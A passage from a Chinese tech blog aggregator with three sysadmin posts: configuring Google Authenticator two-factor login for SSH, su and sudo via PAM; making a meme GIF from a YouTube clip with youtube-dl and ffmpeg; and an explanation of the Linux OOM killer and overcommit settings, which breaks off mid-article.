&lt;p&gt;　　第5个：是否启用防暴力破解，30s内不得超过3次登陆测试，选择y&lt;&#x2F;p&gt;
&lt;p&gt;这里需要用手机客户端扫描生成的二维码，初始化完成后会生成两步验证的配置文件，root用户在&#x2F;root&#x2F;.google_authenticator,普通用户在&#x2F;home&#x2F;user&#x2F;.google_authenticator,文件的属主要和用户一致，不然会导致无法登录。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;3-2-shi-yong-can-shu-fang-shi-chu-shi-hua&quot;&gt;3.2 使用参数方式初始化&lt;&#x2F;h4&gt;
&lt;p&gt;和手动初始化一样，只是使用参数的方式，不需要交互，方便进行自动化和脚本调用&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;google-authenticator -t -d -r 3 -R 30 -w 3 -s &amp;#x2F;root&amp;#x2F;.google_authenticator
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;-t: 基于时间的令牌
-d: 不允许令牌重用
-r 3: 限制错误次数为3次
-R 30: 限制验证时间窗口为 30s
-w 3:  验证窗口为3个，当前验证令牌的前一个和后一个均是生效的，也就是允许误差
-s ： 保存位置，默认为~&amp;#x2F;.google_authenticator
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;si-pei-zhi-ssh&quot;&gt;四、配置ssh&lt;&#x2F;h3&gt;
&lt;p&gt;配置sshd_config，编辑 &#x2F;etc&#x2F;ssh&#x2F;sshd_config，添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ChallengeResponseAuthentication yes
UsePAM yes
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;重启sshd&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;systemctl restart sshd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;wu-pei-zhi-pam&quot;&gt;五、配置pam&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;5-1-deng-lu-shi-xian-shu-ru-liang-bu-yan-zheng-ma-zai-shu-ru-sshmi-ma-de-pei-zhi-fang-fa&quot;&gt;5.1 登录时先输入两步验证码，在输入ssh密码的配置方法&lt;&#x2F;h4&gt;
&lt;p&gt;编辑 &#x2F;etc&#x2F;pam.d&#x2F;sshd，在第一行添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;auth  required  &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;lib&amp;#x2F;security&amp;#x2F;pam_google_authenticator.so  [authtok_prompt=&amp;#x27;请先输入两步验证码:&amp;#x27; ]  secret=&amp;#x2F;root&amp;#x2F;.google_authenticator  no_increment_hotp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;no_increment_hotp ：不统计失败的两步认证，防止有被暴力破解时锁定用户。&lt;&#x2F;p&gt;
&lt;p&gt;配置好后，可以用ssh或者xshell客户端登录一下，登录过程：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ssh root@172.16.29.100
&amp;#x27;请先输入两步验证码:&amp;#x27;
Password:
Last login: Wed Jan 20 17:09:39 2021 from 172.16.29.1
[root@nixops.me ~]#
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;5-2-xian-shu-ru-sshmi-ma-zai-shu-ru-liang-bu-yan-zheng-ma&quot;&gt;5.2 先输入ssh密码，在输入两步验证码&lt;&#x2F;h4&gt;
&lt;p&gt;编辑 &#x2F;etc&#x2F;pam.d&#x2F;sshd，在最后一行添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;   auth  required  &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;lib&amp;#x2F;security&amp;#x2F;pam_google_authenticator.so nullok
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;通过以上的配置，ssh密码 + 谷歌两步验证的登录方式就配置完成了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;liu-yi-xie-wan-fa&quot;&gt;六、一些玩法&lt;&#x2F;h3&gt;
&lt;p&gt;因为使用了pam框架，有一些基于pam的程序，都可以试着启用两步验证&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-1-pu-tong-yong-hu-shi-yong-suming-ling-shi-xu-yao-liang-bu-yan-zheng-ma&quot;&gt;6.1 普通用户使用su命令时，需要两步验证码&lt;&#x2F;h4&gt;
&lt;p&gt;编辑&#x2F;etc&#x2F;pam.d&#x2F;su，找到开头这里：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;#%PAM-1.0
auth            required        pam_env.so
auth            sufficient      pam_rootok.so
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 pam_rootok.so这一行下面，加入&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    auth required &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;lib&amp;#x2F;security&amp;#x2F;pam_google_authenticator.so [authtok_prompt=&amp;#x27;请先输入两步验证码:&amp;#x27; ] secret=&amp;#x2F;root&amp;#x2F;.google_authenticator no_increment_hotp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;加入后，root切换至普通用户不需要两步验证，普通用户切换至root，或者普通用户之间切换需要先进行两步验证&lt;&#x2F;p&gt;
&lt;h4 id=&quot;6-2-sudoming-ling-xu-yao-liang-bu-yan-zheng-ma&quot;&gt;6.2 sudo命令需要两步验证码&lt;&#x2F;h4&gt;
&lt;p&gt;sudo 实际上是以root用户执行命令，在pam的规则中指定一下user即可，编辑&#x2F;etc&#x2F;pam.d&#x2F;sudo，在第一行加入&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    auth requisite &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;lib&amp;#x2F;security&amp;#x2F;pam_google_authenticator.so [authtok_prompt=&amp;#x27;请先输入两步验证码:&amp;#x27; ] secret=&amp;#x2F;root&amp;#x2F;.google_authenticator user=root
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;6-3-te-ding-iphuo-zhe-wang-duan-bu-jin-xing-liang-bu-yan-zheng&quot;&gt;6.3 特定IP或者网段不进行两步验证&lt;&#x2F;h4&gt;
&lt;p&gt;编辑&#x2F;etc&#x2F;pam.d&#x2F;sshd，在顶部添加：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    auth [success=1 default=ignore] pam_access.so accessfile=&amp;#x2F;etc&amp;#x2F;totp_access.conf

    auth       required &amp;#x2F;usr&amp;#x2F;local&amp;#x2F;lib&amp;#x2F;security&amp;#x2F;pam_google_authenticator.so [authtok_prompt=&amp;#x27;请先输入两步验证码:&amp;#x27; ] secret=&amp;#x2F;root&amp;#x2F;.google_authenticator  no_increment_hotp
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;规则文件&#x2F;etc&#x2F;totp_access.conf的内容为：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    + : ALL : 10.20.10.100
    + : ALL : 172.16.19.0&amp;#x2F;24
    + : ALL : LOCAL
    - : ALL : ALL
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;6-4-sshsan-zhong-ren-zheng&quot;&gt;6.4 ssh三重认证&lt;&#x2F;h4&gt;
&lt;p&gt;安全不在于登录过程中多几道认证，但是对于某些要求较高或者特殊的场景下，可能会有需要多重认证的情况，三重认证包括以下认证方式：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;publickey (SSH key)&lt;&#x2F;li&gt;
&lt;li&gt;password publickey (SSH key 的密码)&lt;&#x2F;li&gt;
&lt;li&gt;keyboard-interactive (两步验证码)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;和ssh密码认证的方式类似,只是把密码认证改成了ssh publickey + publickey password而已，配置思路也是一样，只是需要sshd_config中多加两条配置，用来指定登录使用的认证方式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;PubkeyAuthentication yes
AuthenticationMethods publickey,password publickey,keyboard-interactive
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;6-5-duo-yong-hu-qi-yong-liang-bu-ren-zheng&quot;&gt;6.5 多用户启用两步认证&lt;&#x2F;h4&gt;
&lt;p&gt;如果服务器中不只有一个用户，pam配置中可以使用变量${USER}来配置多用户，不需要为每个用户写一条pam配置，例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;auth       required     pam_google_authenticator.so secret=&amp;#x2F;home&amp;#x2F;${USER}&amp;#x2F;.ssh&amp;#x2F;google_authenticator nullok
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果想做自动化，可以定制一个.bash_profile文件，将这个.bash_profile文件放到&#x2F;etc&#x2F;skel&#x2F;中，这样每次创建用户后就会复制到用户目录下，当用户第一次登录后，调用其中的脚本生成&#x2F;home&#x2F;${USER}&#x2F;.google_authenticator，从而自动绑定两步认证，这里只提供思路，不做具体实现。&lt;&#x2F;p&gt;
&lt;p&gt;参考文章：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.redhat.com%2Fsysadmin%2Fmfa-linux&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.redhat.com&#x2F;sysadmin&#x2F;mfa-linux&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwiki.archlinux.org%2Findex.php%2FGoogle_Authenticator&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;index.php&#x2F;Google_Authenticator&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.digitalocean.com%2Fcommunity%2Ftutorials%2Fhow-to-set-up-multi-factor-authentication-for-ssh-on-centos-8&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;https:&#x2F;&#x2F;www.digitalocean.com&#x2F;community&#x2F;tutorials&#x2F;how-to-set-up-multi-factor-authentication-for-ssh-on-centos-8&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shou-ba-shou-jiao-ni-yong-ffmpegzhi-zuo-biao-qing-bao&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fffmpeg-convert-video-to-gif.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;手把手教你用ffmpeg制作表情包&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;1月 18日, 2021年&lt;&#x2F;p&gt;
&lt;p&gt;在油管上看linux大神在芬兰阿尔托大学演讲视频时，突然发现了一个名场面，有观众说英伟达对Linux系统支持不够好，大神一通说明后来了句：Nvidia，FXXK YOU！ 原视频在下面，需要梯子，时间是49:56。&lt;&#x2F;p&gt;
&lt;p&gt;这么出名的场面，就想做成表情包玩玩，于是就想到了曾经把我折磨的死去活来的ffmpeg。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;1. 下载视频&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先需要使用youtube-dl下载原视频，先列出视频可下载的格式：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;youtube-dl -F &amp;#x27;https:&amp;#x2F;&amp;#x2F;www.youtube.com&amp;#x2F;watch?v=MShbP3OpASA&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;[youtube] MShbP3OpASA: Downloading webpage
[info] Available formats for MShbP3OpASA:
format code  extension  resolution note
249          webm       audio only tiny   55k , opus @ 50k (48000Hz), 21.72MiB
250          webm       audio only tiny   69k , opus @ 70k (48000Hz), 25.71MiB
140          m4a        audio only tiny  131k , m4a_dash container, mp4a.40.2@128k (44100Hz),
58.10MiB
251          webm       audio only tiny  135k , opus @160k (48000Hz), 46.92MiB
160          mp4        256x144    144p  109k , avc1.4d400c, 25fps, video only, 17.00MiB
278          webm       256x144    144p  114k , webm container, vp9, 25fps, video only,
39.68MiB
242          webm       426x240    240p  225k , vp9, 25fps, video only, 44.87MiB
133          mp4        426x240    240p  244k , avc1.4d4015, 25fps, video only, 41.77MiB
243          webm       640x360    360p  415k , vp9, 25fps, video only, 100.11MiB
134          mp4        640x360    360p  583k , avc1.4d401e, 25fps, video only, 86.82MiB
244          webm       854x480    480p  758k , vp9, 25fps, video only, 184.20MiB
135          mp4        854x480    480p 1199k , avc1.4d401e, 25fps, video only, 138.93MiB
247          webm       1280x720   720p 1506k , vp9, 25fps, video only, 251.06MiB
136          mp4        1280x720   720p 2117k , avc1.4d401f, 25fps, video only, 220.55MiB
248          webm       1920x1080  1080p 2633k , vp9, 25fps, video only, 381.07MiB
137          mp4        1920x1080  1080p 3637k , avc1.640028, 25fps, video only, 318.59MiB
18           mp4        640x360    360p  389k , avc1.42001E, 25fps, mp4a.40.2@ 96k (44100Hz), 178.03MiB
22           mp4        1280x720   720p  608k , avc1.64001F, 25fps, mp4a.40.2@192k (44100Hz) (best)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们做gif表情包，不需要声音，下载一个高质量的Viedo only视频即可，下载指定视频：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    youtube-dl -f 137 -o linux.mp4 &amp;#x27;https:&amp;#x2F;&amp;#x2F;www.youtube.com&amp;#x2F;watch?v=MShbP3OpASA&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;2. 裁剪视频&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下载好之后，找到要裁剪的时间段：49:58，裁剪时长3秒，进行裁剪：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;     ffmpeg -i linux.mp4 -ss 00:49:58.00  -t 00:00:03.00    linux_3s.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;3. 添加文字&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;ffmpeg中可以用drawtext filter为视频添加水印或添加文字，需要编译ffmpeg添加支持：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用drawtext，编译时需要加上--enable-libfreetype&lt;&#x2F;li&gt;
&lt;li&gt;要使用多种字体，需要加上--enable-libfontconfig&lt;&#x2F;li&gt;
&lt;li&gt;需要字体变形，需要加上--enable-libfribidi&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;查看ffpmeg编译参数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ffmpeg -version

ffmpeg version 4.3.1 Copyright (c) 2000-2020 the FFmpeg developers
built with Apple clang version 12.0.0 (clang-1200.0.32.28)
configuration: --prefix=&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;Cellar&amp;#x2F;ffmpeg&amp;#x2F;4.3.1_9 --enable-shared --enable-pthreads --enable-version3 --enable-avresample --cc=clang --host-cflags= --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libdav1d --enable-libmp3lame --enable-libopus --enable-librav1e --enable-librubberband --enable-libsnappy --enable-libsrt --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-libsoxr --enable-videotoolbox --enable-libzmq --enable-libzimg --disable-libjack --disable-indev=jack
libavutil      56. 51.100 &amp;#x2F; 56. 51.100
libavcodec     58. 91.100 &amp;#x2F; 58. 91.100
libavformat    58. 45.100 &amp;#x2F; 58. 45.100
libavdevice    58. 10.100 &amp;#x2F; 58. 10.100
libavfilter     7. 85.100 &amp;#x2F;  7. 85.100
libavresample   4.  0.  0 &amp;#x2F;  4.  0.  0
libswscale      5.  7.100 &amp;#x2F;  5.  7.100
libswresample   3.  7.100 &amp;#x2F;  3.  7.100
libpostproc    55.  7.100 &amp;#x2F; 55.  7.100
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;参数没有问题，就可以使用drawtext filter添加文字了：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i linux_3s.mp4 -vf &amp;quot;drawtext=fontcolor=yellow:fontsize=100:fontfile=msyh.ttf:text=&amp;#x27;英伟达不讲武德&amp;#x27;:x=(w-text_w)&amp;#x2F;2:y=h-th-20&amp;quot;  -y out_3s.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;设置文字位置：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;顶端左侧: x=0:y=0 (边缘留白10像素： x=10:y=10)&lt;&#x2F;li&gt;
&lt;li&gt;顶端居中: x=(w-text_w)&#x2F;2:y=0 (边缘留白10像素： x=(w-text_w)&#x2F;2:y=10)&lt;&#x2F;li&gt;
&lt;li&gt;顶端右侧: x=w-tw:y=0 (边缘留白10像素: x=w-tw-10:y=10)&lt;&#x2F;li&gt;
&lt;li&gt;画面中心: x=(w-text_w)&#x2F;2:y=(h-text_h)&#x2F;2&lt;&#x2F;li&gt;
&lt;li&gt;底端左侧: x=0:y=h-th (边缘留白10像素: x=10:y=h-th-10)&lt;&#x2F;li&gt;
&lt;li&gt;底端居中: x=(w-text_w)&#x2F;2:y=h-th (边缘留白10像素: x=(w-text_w)&#x2F;2:y=h-th-10)&lt;&#x2F;li&gt;
&lt;li&gt;底端右侧: x=w-tw:y=h-th (边缘留白10像素: x=w-tw-10:y=h-th-10)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果有多句话，可以指定时间段进行添加:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;ffmpeg -i linux_3s.mp4 -vf &amp;quot;drawtext=enable=&amp;#x27;between(t,1,2.5)&amp;#x27;:fontcolor=yellow:fontsize=100:fontfile=msyh.ttf:text=&amp;#x27;英伟达不讲武德&amp;#x27;:x=(w-text_w)&amp;#x2F;2:y=h-th-20&amp;quot;  -y out_3s.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;enable=&#x27;between(t,1,2.5)&#x27; 指定的是在1s-2.5s之间添加文字。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4. 缩放视频尺寸&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;裁剪好后的源视频是1920x1080 1080p格式的，做成gif是全屏的比较大，需要先进行缩放：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i out_3s.mp4 -vf scale=360:-2  small_3s.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;注意 &lt;code&gt;sacle&lt;&#x2F;code&gt; 值必须是偶数，这里的 &lt;code&gt;-2&lt;&#x2F;code&gt; 表示要求压缩出来的视频尺寸长宽都保持为偶数.如果需要保持长宽比，根据宽度值自适应高度，可以使用 &lt;code&gt;-1&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我这里只进行缩小就可以了，你也可能有加速播放和慢速播放的需要，也可以用实现。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;4.1 加倍速播放视频&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i out_3s.mp4 -filter:v &amp;quot;setpts=0.5*PTS&amp;quot; out_speedup.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4.2 定义帧率 16fps&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i out_3s.mp4 -r 16 -filter:v &amp;quot;setpts=0.125*PTS&amp;quot; -an out_16fps.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;4.3 慢倍速播放视频&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i out_3s.mp4 -filter:v &amp;quot;setpts=2.0*PTS&amp;quot; out_slowdown.mp4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;5.将视频 MP4 转化为 GIF&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;经过以上步骤，已经有了我们处理完成的视频文件，只需要转换成gif即可：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i small_3s.mp4 small.gif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;转化成gif默认转换是中等质量的，压缩的比较厉害，可以修改比特率提高gif质量：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;    ffmpeg -i small_3s.mp4 -b 2048k small.gif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;统过以上步骤就完成了我们要制作的gif，ffmpeg的生态比较丰富，目前很多在线制作表情包的网站和一些Telegram上的bot，就是通过ffmpeg进行制作。也可以找其它的视频进行制作，比如，张学友：食屎啦你、有钱真的可以为所欲为、王镜泽： 真香 等等。&lt;&#x2F;p&gt;
&lt;p&gt;附上最终做好的gif,和裁剪好的3秒源视频：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Fusr%2Fuploads%2F2021%2F01%2F2952336644.mp4&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;裁剪后3秒源视频&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;linuxde-oom-killerji-zhi-yan-jiu&quot;&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;cloud.tencent.com&#x2F;developer&#x2F;tools&#x2F;blog-entry?target=https%3A%2F%2Fwww.nixops.me%2Farticles%2Fstudy-oom-killer.html&amp;amp;objectId=1838265&amp;amp;objectType=1&amp;amp;isNewArticle=undefined&quot;&gt;Linux的OOM Killer机制研究&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;11月 26日, 2020年&lt;&#x2F;p&gt;
&lt;p&gt;简单来说，linux的内存分为虚拟内存和物理内存，进程在申请内存时，首先申请的是虚拟内存，等到真正需要的时候才去申请物理内存。内核通过这种机制避免内存的浪费，实现了按需分配物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;所以虚拟内存可以大于实际的物理内存，超过这部分就是memory overcommit，而一旦进程需要申请的物理内存超过实际内存和交换空间的总和，内核就会用OOM Killer，选择杀掉一个或部分进程，保障系统和其它进程有可用的内存。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-overcommit-she-zhi&quot;&gt;1. overcommit 设置&lt;&#x2F;h4&gt;
&lt;p&gt;在 Linux 中，可以通过内核参数vm.overcommit_memory去控制是否允许 overcommit：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;默认值是 0，在这种情况下，只允许轻微的 overcommit，但一次申请大量内存会被禁止，root能使用的overcommit也比普通用户多&lt;&#x2F;li&gt;
&lt;li&gt;设置为 1，表示总是允许 overcommit&lt;&#x2F;li&gt;
&lt;li&gt;设置为 2，则表示总是禁止 overcommit，系统分配的内存不能超过系统内存+交换内存&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;2-oom-killer-she-zhi&quot;&gt;2. OOM Killer 设置&lt;&#x2F;h4&gt;
&lt;p&gt;linux内核会为每个进程算一个分数，发生OOM时分数最高的进程会被kill掉，主要看以下几个参数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&#x2F;proc&#x2F;PID&#x2F;oom_score ,OOM 最终得分，值越大越有可能被杀掉&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;proc&#x2F;PID&#x2F;oom_score_adj ，取值范围为-1000到1000，计算oom_score时会加上该参数&lt;&#x2F;li&gt;
&lt;li&gt;&#x2F;proc&#x2F;PID&#x2F;oom_adj ，取值是-17到+15，该参数主要是为兼容旧版内核&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;只要允许overcommit,就会有oom killer发生，所以关闭overcommit就可以关闭OOM Killer：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;javascript&quot; class=&quot;language-javascript &quot;&gt;&lt;code class=&quot;language-javascript&quot; data-lang=&quot;javascript&quot;&gt;sysctl -w vm.overcommit_memory=2
echo &amp;quot;vm.overcommit_memory=2&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;sysctl.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果不想关闭OOM，也可以直接调整相应进程的oom_score_adj和oom_adj值，来按需进行设置OOM的优先级：&lt;&#x2F;p&gt;
